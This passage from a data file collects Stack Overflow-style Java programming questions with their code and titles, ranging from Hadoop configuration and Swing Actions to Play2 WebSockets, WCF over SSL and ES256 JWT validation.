io.netty.util.concurrent.SingleThreadEventExecutor $ 6.run ( SingleThreadEventExecutor.java:1044 ) at io.netty.util.internal.ThreadExecutorMap $ 2.run ( ThreadExecutorMap.java:74 ) at io.netty.util.concurrent.FastThreadLocalRunnable.run ( FastThreadLocalRunnable.java:30 ) ... 1 more < configuration > < property > < name > fs.defaultFS < /name > < value > hdfs : //namenode:9000 < /value > < /property > < /configuration > < configuration > < property > < name > dfs.namenode.name.dir < /name > < value > /app/data/namenode < /value > < /property > < property > < name > dfs.datanode.data.dir < /name > < value > /app/data/datanode < /value > < /property > < property > < name > dfs.replication < /name > < value > 1 < /value > < /property > < /configuration > < configuration > < property > < name > mapreduce.framework.name < /name > < value > yarn < /value > < /property > < property > < name > yarn.app.mapreduce.am.env < /name > < value > HADOOP_MAPRED_HOME= $ HADOOP_HOME < /value > < /property > < property > < name > mapreduce.map.env < /name > < value > HADOOP_MAPRED_HOME= $ HADOOP_HOME < /value > < /property > < property > < name > mapreduce.reduce.env < /name > < value > HADOOP_MAPRED_HOME= $ HADOOP_HOME < /value > < /property > < /configuration > spark.master yarnspark.driver.memory 512mspark.executor.memory 1gspark.yarn.archive hdfs : ///user/foo/spark-libs.jar < configuration > < property > < name > yarn.resourcemanager.address < /name > < value > resource-manager:8032 < /value > < /property > < property > < name > yarn.resourcemanager.scheduler.address < /name > < value > resource-manager:8030 < /value > < /property > < property > < name > yarn.resourcemanager.resource-tracker.address < /name > < value > resource-manager:8031 < /value > < /property > < property > < name > yarn.acl.enable < /name > < value > 0 < /value > < /property > < property > < name > yarn.resourcemanager.hostname < /name > < value > resource-manager < /value > < /property > < property > < name > yarn.nodemanager.aux-services < /name > < value > mapreduce_shuffle < /value > < /property > < /configuration >",Hadoop + Spark : There are 1 datanode ( s ) running and 1 node ( s ) are excluded in this operation +Java,Suppose you have a `` simple '' enum : And then you use it somewhere : How does this compare performance wise ( memory and time ) with using ints ? We have the JIT HotSpot compiler enabled along with other `` standard '' optimization .,"public enum Day { SUNDAY , MONDAY , TUESDAY , WEDNESDAY , THURSDAY , FRIDAY , SATURDAY } Day day = Day.SUNDAY ; ... if ( day==Day.SUNDAY ) { ... } int day = Day.SUNDAY ; ... public class Day { public static final int SUNDAY=0 ; public static final int MONDAY=1 ; }",Java HotSpot Enum overhead +Java,"Using the default layout manager , the JLabel shows its ellipsis when the frame is resized . As illustrated by : However , MigLayout does not display such behaviour ! I tried all the layout/component constraint I could think of . Does anybody know if such thing is even possible in Mig ?","public static void main ( String [ ] args ) { final JFrame jFrame = new JFrame ( `` JLabel , show me your ellipsis ! `` ) ; jFrame.getContentPane ( ) .add ( new JLabel ( `` Sure darling ! Shrink me and I 'll show you '' ) ) ; jFrame.pack ( ) ; jFrame.setVisible ( true ) ; } public static void main ( String [ ] args ) { final JFrame jFrame = new JFrame ( `` JLabel , show me your ellipsis ! `` ) ; jFrame.getContentPane ( ) .setLayout ( new MigLayout ( ) ) ; jFrame.getContentPane ( ) .add ( new JLabel ( `` Nope ! I just do not know you well enough ! `` ) ) ; jFrame.pack ( ) ; jFrame.setVisible ( true ) ; }",How to show JLabel ellipsis in MigLayout ? +Java,"I 'm trying to create some general code to ease the usage of regexes , and thinking how to implement the OR function.The title is pretty accurate ( ex1 , ex2 , ex3 are any regular expressions ) . Not considering grouping , what 's the difference between : and These both should be an or relation between the named regexes , i just might be missing something . Any way one is more efficient than the other ?",`` ( ex1 ) | ( ex2 ) | ( ex3 ) '' `` [ ( ex1 ) ( ex2 ) ( ex3 ) ] '',What 's the difference between `` ( ex1 ) | ( ex2 ) | ( ex3 ) '' and `` [ ( ex1 ) ( ex2 ) ( ex3 ) ] '' +Java,"In my code I 'm doing something like this : Everything working fine , but when I commenting if ( rotatedBitmap ! = scaledBitmap ) { I have an errors about using recycled Bitmap.Is Android creates new Bitmap on every Bitmap.createBitmap call and how can I avoid comparison between bitmaps ?","public void doStuff ( ) { Bitmap scaledBitmap = decodeFileAndResize ( captureFile ) ; saveResizedAndCompressedBitmap ( scaledBitmap ) ; Bitmap rotatedBitmap = convertToRotatedBitmap ( scaledBitmap ) ; driverPhoto.setImageBitmap ( rotatedBitmap ) ; if ( rotatedBitmap ! = scaledBitmap ) { scaledBitmap.recycle ( ) ; scaledBitmap = null ; System.gc ( ) ; } } private Bitmap convertToRotatedBitmap ( Bitmap scaledBitmap ) throws IOException { ExifInterface exifInterface = new ExifInterface ( getCaptureFilePath ( ) ) ; int exifOrientation = exifInterface.getAttributeInt ( ExifInterface.TAG_ORIENTATION , 0 ) ; float orientationDegree = getRotationDegree ( exifOrientation ) ; Matrix rotateMatrix = new Matrix ( ) ; rotateMatrix.postRotate ( orientationDegree ) ; return Bitmap.createBitmap ( scaledBitmap , 0 , 0 , scaledBitmap.getWidth ( ) , scaledBitmap.getHeight ( ) , rotateMatrix , true ) ; }",Why sometimes Bitmaps are the same objects ? +Java,"The naive way of writing building a menu in a Java Swing app is to do something like : A more experienced developer will recognize that actions can be accessed through a variety of mechanisms - menus , toolbar buttons , maybe even other workflows in the system . That person is more likely to write : My question is , what is the best way to manage these Action objects so they can be used across menus , toolbars , etc ? Create a factory class that returns specific actions ? Declare all of the actions as private static final Action in some utility class ? Take advantage of a Java application framework ? Something else ?",JMenu fileMenu = new JMenu ( `` File '' ) ; JMenuItem openItem = new JMenuItem ( `` Open ... '' ) ; openItem.addActionListener ( new ActionListener ( ) { /* action listener stuff */ } ) fileMenu.addMenuItem ( openItem ) ; Action openAction = new AbstractAction ( ) ; openAction.setName ( `` Open ... '' ) ; openAction.addActionListener ( new ActionListener ( ) { /* action listener stuff */ } ) ... JMenuItem openItem = new JMenuItem ( openAction ) ;,"Correct way to use Actions to create menus , toolbars , and other components in Java" +Java,"I want to determine if a list is anagram or not using Java 8.Example input : I have written the following function that does the job but I am wondering if there is a better and elegant way to do this.It seems I ca n't sort char array with Stream.sorted ( ) method so that 's why I used a second map operator . If there is some way that I can operate directly on char stream instead of Stream of char array , that would also help .","`` cat '' , `` cta '' , `` act '' , `` atc '' , `` tac '' , `` tca '' boolean isAnagram ( String [ ] list ) { long count = Stream.of ( list ) .map ( String : :toCharArray ) .map ( arr - > { Arrays.sort ( arr ) ; return arr ; } ) .map ( String : :valueOf ) .distinct ( ) .count ( ) ; return count == 1 ; }",Determine if a list composed of anagram elements in Java 8 +Java,"We 've recently started to use java 8 default methods in interfaces , and looks like Freemarker ca n't see them : $ { myRatings.notEmpty ( ) } This is a pity because we 're calling a bunch of methods in our templates.Is there a solution to this ? Maybe some patches ? Internets speak mostly of getFoo ( ) default methods which indeed make not much sense , but I 'm talking about regular method calls , not getters .",The following has evaluated to null or missing : == > myRatings.notEmpty,Freemarker and java8 default methods ? +Java,"In one of the application , I saw Entity Manager is created 'per user HttpSession ' and EntityManagerFactory is created only once . Spring or EJB is NOT used in application.Entity manager is cached in http session and closed when session invalidated.What are potential problems with this design.What if 100K Users logged in into application simultaneously , will we run out of jdbc connections ? Does every entity manager has a separate JDBC connection associated with it ?","public EntityManager getEntityManager ( ) { //Logic to get entity manger from session //If its present , then return //Else create new one , entityManagerFactory.createEntityManager ( ) ; //Put it into session and then return . //Returned entity manager is not closed by dao methods , //but clear ( ) is invoked }",Potential Issues with creating EntityManager per HttpSession in web application +Java,"Let 's have a functional interface Functional ( for sake of brevity , I omitted the implementation and simplified the case ) : And a simple piece of code : Why is the method method ( ) ambiguous since there is lambda passed as a parameter ? This should be easily distinguished.Eclipse : The method method ( String , Function < String , Integer > ) is ambiguous for the type Functional < String > This is reproducible on IntelliJIdea as well.Javac output ( thanks to @ AndyTurner ) : andEdit : An interesting fact . When I replace default < T extends Number > with < T > , it works . The T seems can not extend Number , Throwable etc ... Edit 2 : When I make the generic type T to the interface declaration , it works as well :","@ FunctionalInterface public interface Functional < E > { void perform ( E e ) ; default < T extends Number > void method ( E e , T t ) { } default < T extends Number > void method ( E e , Function < E , T > function ) { } } Functional < String > functional = ( string ) - > { } ; functional.method ( `` string '' , ( string ) - > 1 ) ; Main.java:21 : error : reference to method is ambiguous functional.method ( `` string '' , ( string ) - > 1 ) ; ^ both method < T # 1 > method ( E , T # 1 ) in Functional and method < T # 2 > method ( E , Function < E , T # 2 > ) in Functional match where T # 1 , E , T # 2 are type-variables : T # 1 extends Number declared in method < T # 1 > method ( E , T # 1 ) E extends Object declared in interface Functional T # 2 extends Number declared in method < T # 2 > method ( E , Function < E , T # 2 > ) Main.java:21 : error : incompatible types : can not infer type-variable ( s ) T functional.method ( `` string '' , ( string ) - > 1 ) ; ^ ( argument mismatch ; Number is not a functional interface ) where T , E are type-variables : T extends Number declared in method < T > method ( E , T ) E extends Object declared in interface Functional default < T > void method ( E e , T t ) { } default < T > void method ( E e , Function < E , T > function ) { } @ FunctionalInterface public interface Functional < E , T extends Number > { void get ( E e ) ; default void method ( E e , Function < E , T > function ) { } default void method ( E e , T t ) { } }",A method is ambiguous upon passing a lambda expression in Java +Java,I have to add User identified by his id into set and in runtime all users form that set have to be sorted by this id.I 've created TreeSet added some User objects and tried to iterate through it.Here is my attempt : I wrote class User where is one of the fields id and constructor have id as parameter . When i run this code I get ClassCastException.Here is the stacktrace : What I am doing wrong ?,//irrelevant code removed TreeSet < User > userSet = new TreeSet < User > ( ) ; userSet.add ( new User ( 2 ) ) ; userSet.add ( new User ( 1 ) ) ; userSet.add ( new User ( 3 ) ) ; Iterator < User > iterator = userSet.iterator ( ) ; while ( iterator.hasNext ( ) ) { System.out.print ( iterator.next ( ) + `` `` ) ; } public class User { private int id ; // irrelevant code removed public User ( int id ) { this.id = id ; } // irrelevant code removed public String toString ( ) { return id + `` '' ; } } Exception in thread `` main '' java.lang.ClassCastException : OrderedUsers $ User can not be cast to java.lang.Comparable at java.util.TreeMap.compare ( TreeMap.java:1188 ) at java.util.TreeMap.put ( TreeMap.java:531 ) at java.util.TreeSet.add ( TreeSet.java:255 ) at OrderedUsers. < init > ( OrderedUsers.java:9 ) at Main.main ( Main.java:6 ),I ca n't iterate through TreeSet +Java,"I took the following code from the K & B book `` SCJP Sun Certified Programmer for Java 6 Study Guide '' : As stated in the book , this code prints `` middle '' . I infer that the class declaration marked as `` 3 '' is shadowing the one marked as `` 1 '' , which is external to TestInners class.If the classes were in different packages , I could resolve the ambiguity by qualifying one of them with the package name . But in this case the classes are not only in the same package but in the same file . How can I get an instance of the external class ? I saw the same question here but the accepted answer implies to modify the code adding an enclosing class to the whole thing . My question is how to get the instance using any type of qualifier or reference , if it 's even possible .",class A { // 1 void m ( ) { System.out.println ( `` outer '' ) ; } } public class TestInners { public static void main ( String [ ] args ) { new TestInners ( ) .go ( ) ; } void go ( ) { new A ( ) .m ( ) ; class A { // 2 void m ( ) { System.out.println ( `` inner '' ) ; } } } class A { // 3 void m ( ) { System.out.println ( `` middle '' ) ; } } },Java Inner class shadowing external class +Java,"While I check the implementation of CaseInsensitiveComparator , which is private inner class of String , I found strange thing.What I 'm curious is this : In the for loop , once you compare the upper cased characters , why you should compare the lower cased characters again ? When Character.toUpperCase ( c1 ) and Character.toUpperCase ( c2 ) are different , is it possible that Character.toLowerCase ( c1 ) and Character.toLowerCase ( c2 ) are equal ? Could n't it be simplified like this ? Did I miss something ?","private static class CaseInsensitiveComparator implements Comparator < String > , java.io.Serializable { ... public int compare ( String s1 , String s2 ) { int n1 = s1.length ( ) ; int n2 = s2.length ( ) ; int min = Math.min ( n1 , n2 ) ; for ( int i = 0 ; i < min ; i++ ) { char c1 = s1.charAt ( i ) ; char c2 = s2.charAt ( i ) ; if ( c1 ! = c2 ) { c1 = Character.toUpperCase ( c1 ) ; c2 = Character.toUpperCase ( c2 ) ; if ( c1 ! = c2 ) { c1 = Character.toLowerCase ( c1 ) ; c2 = Character.toLowerCase ( c2 ) ; if ( c1 ! = c2 ) { // No overflow because of numeric promotion return c1 - c2 ; } } } } return n1 - n2 ; } ... } public int compare ( String s1 , String s2 ) { int n1 = s1.length ( ) ; int n2 = s2.length ( ) ; int min = Math.min ( n1 , n2 ) ; for ( int i = 0 ; i < min ; i++ ) { char c1 = s1.charAt ( i ) ; char c2 = s2.charAt ( i ) ; if ( c1 ! = c2 ) { c1 = Character.toUpperCase ( c1 ) ; c2 = Character.toUpperCase ( c2 ) ; if ( c1 ! = c2 ) { // No overflow because of numeric promotion return c1 - c2 ; } } } return n1 - n2 ; }",Curious about the implementation of CaseInsensitiveComparator +Java,"Consulting the JavaDocs and the source code of the Thread.interrupt ( ) method in Java SE 7 I found this : As can be seen , the native method invocation at //1 is outside of the synchronized block . So , is it safe if do n't put a call to the interrupt ( ) method into a synchronized block ? Will it be thread-safe ? What if more than 1 thread will try to interrupt it simultaneously ? How will the native method interrupt0 behave then ?","public void interrupt ( ) { if ( this ! = Thread.currentThread ( ) ) checkAccess ( ) ; synchronized ( blockerLock ) { Interruptible b = blocker ; if ( b ! = null ) { interrupt0 ( ) ; // Just to set the interrupt flag b.interrupt ( this ) ; return ; } } interrupt0 ( ) ; //1 , Outside of the synchronized block } // ... private native void interrupt0 ( ) ; Thread t ; //something elset.interrupt ( ) ; //Not in a synchronized block",Do I need to synchronize a call to the interrupt method ? +Java,"I have a group project where we are forced to use interfaces and enumerations provided.Imagine a situation like below : In an other class , I have a List of Request like this : List < Request > req = new LinkedList < Request > ( ) What I want to do is : make a switch like below : How can I manage to do this please ? IMPORTANT NOTE : I ca n't add methods into the interfaces and into the enums but I can create new enums that implements the interfaces you can see above . I 'd rather not have two enums that do the same thing if possible.EDIT : It 's different to the possible duplicate answer in that I ca n't add any method in the Request interface and so I ca n't implement a method in the enum classes.Thanks in advance","// marker interfaceinterface Request < T extends Response > { } // marker interfaceinterface Response { } enum TypeAction implements Request < SomeEnumClassThatImplementsResponse > { TYPE1 , TYPE2 , TYPE3 } enum OtherTypeAction implements Request < SomeOtherEnumClassThatImplementsResponse > { OTHERTYPE1 , OTHERTYPE2 } switch ( a_request ) { CASE TYPE1 : ... . CASE TYPE2 : ... . CASE TYPE3 : ... . CASE TYPE2 : ... . CASE OTHERTYPE1 : ... . CASE OTHERTYPE2 : ... . }",Java switch on enum that implements same interface +Java,"I am trying to implement a WebSockets based solution with Play2 and Java . Currently I 'm not using Actor Model for concurrency management . Instead , it 's just handling the WebSockets using callbacks.The problem is the server is unable to 'broadcast ' the messages across to multiple clients . For example , I need all the active browser sessions to receive a simple notification after an action is triggered through a client . Instead , I 'm just able to simulate this for a single client session . In effect , it just acts as a regular Ajax request/response scenario.My guess is the WebSockets solution with Play2 & Java with simple callbacks is n't able to broadcast the messages to all of the connected client browsers.Callback server code Routes entryClient sideIn the above case , the action triggering client is the one that successfully receives the message from the server , while any other browser sessions do not.I failed to find any documentation aligned with Play2 with Java & WebSockets that suggests a mandatory use of Actors to maintain a consistent communication with all connected active clients.Question : Should WebSockets in Play2 with Java be implemented with Actor Model to broadcast the message to all active client sessions ? Edit : The screenshot below reflects the 2 states of browsers to which I have logged in to using 2 valid user credentials . Ideally , WebSockets ' response from the server should create the same notification badges on both the browsers .","public static WebSocket < String > heartUpdate ( ) { return new WebSocket < String > ( ) { public void onReady ( final WebSocket.In < String > in , WebSocket.Out < String > out ) { in.onMessage ( new Callback < String > ( ) { @ Override public void invoke ( String event ) throws Throwable { Product product = Product.find.byId ( Long.decode ( event ) ) ; // Other business stuff out.write ( entity.id + `` `` + decimalValue ) ; } } ) ; in.onClose ( new Callback0 ( ) { @ Override public void invoke ( ) throws Throwable { } } ) ; out.write ( DELIM_USERID_REP ) ; } } ; } GET /repsocket controllers.Application.heartUpdate < script > // Onto the WebSockets now var WS = window [ 'MozWebSocket ' ] ? MozWebSocket : WebSocket ; var socket = new WS ( `` @ routes.Application.heartUpdate.webSocketURL ( request ) '' ) ; var receiveEvent = function ( event ) { alert ( event.data ) ; // Notification badge visible with a common text $ ( ' # notify ' ) .text ( event.data ) ; $ ( ' # notify ' ) .addClass ( 'visible ' ) ; } $ ( ' # heart ' ) .click ( function ( e ) { e.preventDefault ( ) ; socket.send ( @ product.id ) ; } ) ; socket.onmessage = receiveEvent ; < /script >",Java - Play2 Are Actors required for WebSockets implementation ? +Java,Did you know that : would output : This is caused by the fact that AbstractCollection ( which HashMap $ Values inherits from ) does not overrides # equals ( ) .Do you have an idea why this is so ?,"Map < Object , Object > m1 = new HashMap < Object , Object > ( ) ; Map < Object , Object > m2 = new HashMap < Object , Object > ( ) ; System.out.println ( `` m1.equals ( m2 ) = `` +m1.equals ( m2 ) ) ; System.out.println ( `` m1.keySet ( ) .equals ( m2.keySet ( ) ) = `` +m1.keySet ( ) .equals ( m2.keySet ( ) ) ) ; System.out.println ( `` m1.entrySet ( ) .equals ( m2.entrySet ( ) ) = `` +m1.entrySet ( ) .equals ( m2.entrySet ( ) ) ) ; System.out.println ( `` m1.values ( ) .equals ( m2.values ( ) ) = `` +m1.values ( ) .equals ( m2.values ( ) ) ) ; m1.equals ( m2 ) = truem1.keySet ( ) .equals ( m2.keySet ( ) ) = truem1.entrySet ( ) .equals ( m2.entrySet ( ) ) = truem1.values ( ) .equals ( m2.values ( ) ) = false",Why AbstractCollection does not implement equals ( ) ? +Java,"JLS : Chapter 7 . Packages : A package consists of a number of compilation units ( §7.3 ) . A compilation unit automatically has access to all types declared in its package and also automatically imports all of the public types declared in the predefined package java.lang.Lets assume the following code : If I move MyClass from com.example into com.example.p2 and import it with import com.example.p2 . * , I get Error : the type MyClass is ambigious at the place where it is used.It seems that the Types from the package itself always have precedence over any other imported types , be it automatically from java.lang or be it explicitly with a wildcard import , and that the compiler does not emit any warning or error.Question : Why does the java compiler not emit an ambiguity error in this case ? Where in the JLS is this behavior defined ?","package com.example.p1 ; public class MyClass { } package com.example ; public class MyClass { } package com.example ; public class String { } package com.example ; import com.example.p1 . * ; public class MainNameClash { private String s ; // No Error , even though ambiguous with java.lang.String ! private MyClass m ; // No error , even though ambiguous with com.example.p1.MyClass ! }",Order of automatically imported packages and ambiguity +Java,"Why does it print `` Derived.foo : '' 10 , nulll and not 20 instead of the null ? y is a private variable of Derived , and it was initialized with 20. it 's in its scope.. so why is it null ?","public class Base { public Base ( ) { x = 0 ; bar ( ) ; } public Base ( int x ) { this.x = x ; foo ( ) ; } public void foo ( ) { System.out.println ( `` Base.foo : `` + x ) ; } private void bar ( ) { System.out.println ( `` Base.bar : '' + x.toString ( ) ) ; } protected Integer x ; } public class Derived extends Base { public Derived ( ) { bar ( ) ; } public Derived ( int x , int y ) { super ( x ) ; this.y = y ; } public void foo ( ) { System.out.println ( `` Derived.foo : `` + x + `` , `` + y ) ; } public void bar ( ) { System.out.println ( `` Derived.bar : '' + x.toString ( ) + `` , `` + y.toString ( ) ) ; } private Integer y ; public static void main ( String [ ] args ) { Base b = new Derived ( 10 , 20 ) ; } }",Java- why does it print null ? +Java,"Getting a Spliterator from a Stream pipeline may return an instance of a StreamSpliterators.WrappingSpliterator . For example , getting the following Spliterator : Given the above Spliterator < String > source , when we traverse the elements individually through the tryAdvance ( Consumer < ? super P_OUT > consumer ) method of Spliterator , which in this case is an instance of StreamSpliterators.WrappingSpliterator , it will first accumulate items into an internal buffer , before consuming those items , as we can see in StreamSpliterators.java # 298 . From a simple point of view , the doAdvance ( ) inserts items first into buffer and then it gets the next item and pass it to consumer.accept ( … ) . However , I am not figuring out the need of this buffer . In this case , why the consumer parameter of the tryAdvance is not simply used as a terminal Sink of the pipeline ?","Spliterator < String > source = new Random ( ) .ints ( 11 , 0 , 7 ) // size , origin , bound .filter ( nr - > nr % 2 ! = 0 ) .mapToObj ( Integer : :toString ) .spliterator ( ) ; public boolean tryAdvance ( Consumer < ? super P_OUT > consumer ) { boolean hasNext = doAdvance ( ) ; if ( hasNext ) consumer.accept ( buffer.get ( nextToConsume ) ) ; return hasNext ; }",Why the tryAdvance of stream.spliterator ( ) may accumulate items into a buffer ? +Java,"I have been using a WCF ( .svc ) service for a while for which request format is JSON and response format is XML in an Android application which is working fine . Couple of days ago , I implemented a certificate for SSL purpose on the WCF service from DigiCert ( using my wildcard capabilities ) . The service is accessible from browser and shows no error . Below is the WebConfigSo now while using the same Android code , the response is alwaysI have tried using SSL Factory and without it as well .","< ? xml version= '' 1.0 '' ? > < configuration > < configSections > < sectionGroup name= '' applicationSettings '' type= '' System.Configuration.ApplicationSettingsGroup , System , Version=4.0.0.0 , Culture=neutral , PublicKeyToken=b77a5c561934e089 '' > < section name= '' IntermediateWebService.Properties.Settings '' type= '' System.Configuration.ClientSettingsSection , System , Version=4.0.0.0 , Culture=neutral , PublicKeyToken=b77a5c561934e089 '' requirePermission= '' false '' / > < /sectionGroup > < /configSections > < system.web > < compilation debug= '' true '' targetFramework= '' 4.0 '' / > < customErrors mode= '' Off '' / > < /system.web > < system.serviceModel > < behaviors > < serviceBehaviors > < behavior name= '' IntermediateWebService.WebBehavior '' > < serviceMetadata httpsGetEnabled= '' true '' / > < serviceDebug includeExceptionDetailInFaults= '' true '' / > < /behavior > < behavior > < ! -- To avoid disclosing metadata information , set the value below to false and remove the metadata endpoint above before deployment -- > < serviceMetadata httpsGetEnabled= '' true '' / > < ! -- To receive exception details in faults for debugging purposes , set the value below to true . Set to false before deployment to avoid disclosing exception information -- > < serviceDebug includeExceptionDetailInFaults= '' false '' / > < /behavior > < /serviceBehaviors > < endpointBehaviors > < behavior name= '' WebBehavior '' > < /behavior > < /endpointBehaviors > < /behaviors > < bindings > < basicHttpBinding > < binding name= '' secureHttpBinding '' maxBufferPoolSize= '' 524288 '' maxReceivedMessageSize= '' 999999999 '' > < security mode= '' Transport '' > < transport clientCredentialType= '' None '' / > < /security > < /binding > < /basicHttpBinding > < webHttpBinding > < binding name= '' webHttpBindingConfig '' > < readerQuotas maxStringContentLength= '' 2048000 '' / > < /binding > < /webHttpBinding > < /bindings > < services > < service behaviorConfiguration= '' IntermediateWebService.WebBehavior '' name= '' IntermediateWebService.Service1 '' > < host > < baseAddresses > < add baseAddress= '' https : //myurl:4445/ '' / > < /baseAddresses > < /host > < endpoint address= '' '' binding= '' basicHttpBinding '' contract= '' IntermediateWebService.IService1 '' behaviorConfiguration= '' WebBehavior '' bindingConfiguration= '' secureHttpBinding '' / > < /service > < ! -- < service name= '' IntermediateWebService.Service1 '' > < endpoint address= '' '' binding= '' basicHttpBinding '' bindingConfiguration= '' secureHttpBinding '' contract= '' IntermediateWebService.IService1 '' / > < /service > -- > < /services > < serviceHostingEnvironment multipleSiteBindingsEnabled= '' false '' / > < /system.serviceModel > < system.webServer > < validation validateIntegratedModeConfiguration= '' false '' / > < modules runAllManagedModulesForAllRequests= '' true '' / > < /system.webServer > < /configuration > The server can not service the request because the media type is unsupported . HttpClient client = getHttpsClient ( new DefaultHttpClient ( ) ) ; //new DefaultHttpClient ( ) ; HttpPost get = null ; commandType = params [ 0 ] .toString ( ) ; if ( `` Login '' .equals ( params [ 0 ] ) ) { JSONStringer img = new JSONStringer ( ) .object ( ) .key ( `` value '' ) .object ( ) .key ( `` username '' ) .value ( params [ 1 ] .toString ( ) ) .key ( `` pwd '' ) .value ( params [ 2 ] .toString ( ) ) .key ( `` channelID '' ) .value ( params [ 3 ] .toString ( ) ) .endObject ( ) .endObject ( ) ; StringEntity se = new StringEntity ( img.toString ( ) ) ; get = new HttpPost ( `` https : // '' + serverIP + `` : '' + serverPort + `` /Service1.svc/auth '' ) ; //get.setHeader ( `` User-Agent '' , `` com.app.new '' ) ; get.setHeader ( `` Accept '' , `` application/json '' ) ; get.setHeader ( `` Content-Type '' , `` application/json '' ) ; get.setEntity ( se ) ;",Consume WCF Service over SSL in Android +Java,"Here 's my issue : given these classesThis code compiles : And this does not : What gives ? UPDATE : This code compiles in Java 8 . Apparently , due to 'Improved Type Inference ' .","class A { } class B extends A { } List < Class < ? extends A > > list = Arrays.asList ( B.class , A.class ) ; List < Class < ? extends A > > anotherList = Arrays.asList ( B.class ) ;",Generics cast issue +Java,"I 'm trying to call the functions.typedLit from Spark library in my other question . And it asks for two parameters , a literal object and its type ( a TypeTag ) .The first argument , I can come up with myself ( I think ) . But as for the second one , I do n't know how to instantiate an object for it . I 'm trying to pass the TypeTag < Seq < Integer > > as the second parameter.Can someone please tell how to create the TypeTag for Seq < Integer > in Java ? Here 's the code I 'm trying to complete :","Seq < Integer > seq = JavaConverters .asScalaIteratorConverter ( ( new ArrayList < Integer > ( ) ) .iterator ( ) ) .asScala ( ) .toSeq ( ) ; Column litColumn = functions. < Seq < Integer > > typedLit ( seq , ? ? ? )",How to get the TypeTag for a class in Java +Java,"I am working on a group project where we want to deploy a backend to Google Cloud . The backend is created with Java11 , Gradle , and Spring-Boot , and deployed through GitHub with Travis to Google Cloud . The backend runs as it should at localhost with ./gradlew bootrun , but when trying to deploy it to Google Cloud we get the following error : ERROR : ( gcloud.app.deploy ) Your application does not satisfy all of the requirements for a runtime of type [ java11 ] . Please correct the errors and try again.We recreated this error with the following procedure , removing GitHub and Travis from the equation : Created a new Spring-Boot project at https : //start.spring.io/ with these settings : Project : Gradle ProjectLanguage : JavaSpring Boot : 2.1.9Project Metadata : Options : Java : 11Dependencies : Spring Security , Spring Web , GCP SupportOnce created , we added the files app.yaml and client_secret.json.The client_secret.json file contains information about a test-client at gcloud with a lot of permissions . app.yaml : Both app.yaml and client_secret.json are stored at the same place build.gradle and settings.gradle are.Then , from the terminal ( we used the one in VScode ) , we ran gcloud app deploy . This command first asks us if we want to deploy the backend to a specified google cloud project , listing that it found the app.yaml file , the source , and the target . Then , when we pressed Y to continue , the error appears.Here is the build.gradle file , which might be useful ( ? ) : So our question is ; what does the error mean ? And how do we fix it ? We have tried a lot of things like editing both app.yaml and build.gradle , but nothing seems to work . We also struggle to understand where the error occurs , because the backend runs fine at localhost.We appreciate every response ! Best regards HaavardG : D","runtime : java11env : flexservice : defaulthandlers : - url : / . * script : this field is required , but ignored plugins { id 'org.springframework.boot ' version ' 2.1.9.RELEASE ' id 'io.spring.dependency-management ' version ' 1.0.8.RELEASE ' id 'java ' } group = 'com.example'version = ' 0.0.1-SNAPSHOT'sourceCompatibility = '11'repositories { mavenCentral ( ) } ext { set ( 'springCloudVersion ' , `` Greenwich.SR3 '' ) } dependencies { implementation 'org.springframework.boot : spring-boot-starter-security ' implementation 'org.springframework.boot : spring-boot-starter-web ' implementation 'org.springframework.cloud : spring-cloud-gcp-starter ' testImplementation 'org.springframework.boot : spring-boot-starter-test ' testImplementation 'org.springframework.security : spring-security-test ' } dependencyManagement { imports { mavenBom `` org.springframework.cloud : spring-cloud-dependencies : $ { springCloudVersion } '' } }",Java-11 spring-boot deployment to google cloud error : app does not satisfy requirements for [ java11 ] +Java,"Hi I have a JWT which is signed using Elliptic Curve ES256 am trying to validate it : Using this public key : Which is just It validates correctly on https : //jwt.io/ however when I try to verify it using native Java , it raises an error : My code is as follows : The last line seems to be raising the exception.I am not sure if I am causing the problem by using the wrong curve ( secp256k1 , secp256r1 , secp256v1 ) or possibly it is something else . Any tips would be really appreciated .","eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjEyMzQifQ.eyJpc3MiOiJodHRwczovL2p3dC1pZHAuZXhhbXBsZS5jb20iLCJzdWIiOiJtYWlsdG86bWlrZUBleGFtcGxlLmNvbSIsIm5iZiI6MTU3NTY1NjY3NCwiZXhwIjoxOTI0OTkxOTk5LCJpYXQiOjE1NzU2NTY2NzQsImp0aSI6ImlkMTIzNDU2IiwidHlwIjoiaHR0cHM6Ly9leGFtcGxlLmNvbS9yZWdpc3RlciJ9.kcj0QQrERKIfny1TfHY-Z9iDFazr84xCssTDuXtV1n1dvY7CYXuP5ZBvpi9ArOQjsS8YCd0bKsWaQ-17VnF_1A -- -- -BEGIN PUBLIC KEY -- -- -MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEoBUyo8CQAFPeYPvv78ylh5MwFZjTCLQeb042TjiMJxG+9DLFmRSMlBQ9T/RsLLc+PmpB1+7yPAR+oR5gZn3kJQ== -- -- -END PUBLIC KEY -- -- - { `` kty '' : `` EC '' , `` use '' : `` sig '' , `` crv '' : `` P-256 '' , `` kid '' : `` 1234 '' , `` x '' : `` oBUyo8CQAFPeYPvv78ylh5MwFZjTCLQeb042TjiMJxE= '' , `` y '' : `` vvQyxZkUjJQUPU/0bCy3Pj5qQdfu8jwEfqEeYGZ95CU= '' , `` alg '' : `` ES256 '' } java.security.SignatureException : invalid encoding for signature : java.io.IOException : Sequence tag error at com.ibm.crypto.provider.AbstractSHAwithECDSA.engineVerify ( Unknown Source ) at java.security.Signature $ Delegate.engineVerify ( Signature.java:1219 ) at java.security.Signature.verify ( Signature.java:652 ) at curam.platforminfrastructure.outbound.oauth2.impl.ValidateJWT.validateEllipticCurve ( ValidateJWT.java:235 ) at curam.platforminfrastructure.outbound.oauth2.impl.ValidateJWT.validateJWT ( ValidateJWT.java:88 ) at curam.platforminfrastructure.outbound.oauth2.impl.ValidateJWT.testJWT ( ValidateJWT.java:53 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.junit.runners.model.FrameworkMethod $ 1.runReflectiveCall ( FrameworkMethod.java:44 ) at org.junit.internal.runners.model.ReflectiveCallable.run ( ReflectiveCallable.java:15 ) at org.junit.runners.model.FrameworkMethod.invokeExplosively ( FrameworkMethod.java:41 ) at org.junit.internal.runners.statements.InvokeMethod.evaluate ( InvokeMethod.java:20 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:76 ) at 